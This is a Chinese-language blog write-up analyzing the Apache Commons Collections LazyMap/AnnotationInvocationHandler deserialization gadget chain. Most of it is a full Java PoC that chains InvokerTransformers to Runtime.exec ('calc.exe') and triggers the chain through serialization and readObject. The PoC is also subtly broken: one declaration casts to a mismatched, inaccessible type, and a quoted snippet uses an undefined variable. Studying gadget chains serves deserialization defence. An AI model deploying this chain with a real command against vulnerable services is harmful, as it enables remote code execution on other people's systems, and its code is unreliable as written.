LazyMap类
LazyMap.decorate
//factory成员数据类型为Transformer并且我们可以控制,且该方法为public访问权限
protected final Transformer factory;
//该方法操作了factory成员属性
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
LazyMap.get
该方法中的factory属性调用了transform方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
AnnotationInvocationHandler类
AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,然后在invoke方法中都调用了get方法
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4);
}
readObject方法
构造
思路
1)构造一个Map和一个能够执行代码的ChainedTransformer,
2)生成一个LazyMap实例
3)用反射方法实例化AnnotationInvocationHandler
4)设置动态代理
攻击链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
//lazyMap对象成为该类参数
InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
AnnotationInvocationHandler O = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(O);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
总结
经过上面的分析,我们需要先调用LazyMap.decorate,参数为我们构造的恶意链,然后想办法用返回的对象去调用LazyMap类的get方法。之后我们发现只要可以调用AnnotationInvocationHandler实例对象的invoke方法就可以触发攻击链。实际上,AnnotationInvocationHandler类继承了InvocationHandler接口,那么我们只需要构造一个动态代理的对象,然后触发readObject方法,从而调用invoke方法
参考
https://www.cnblogs.com/tr1ple/p/12378269.html
https://www.freebuf.com/vuls/276632.html
https://blog.csdn.net/qq_35733751/article/details/118462281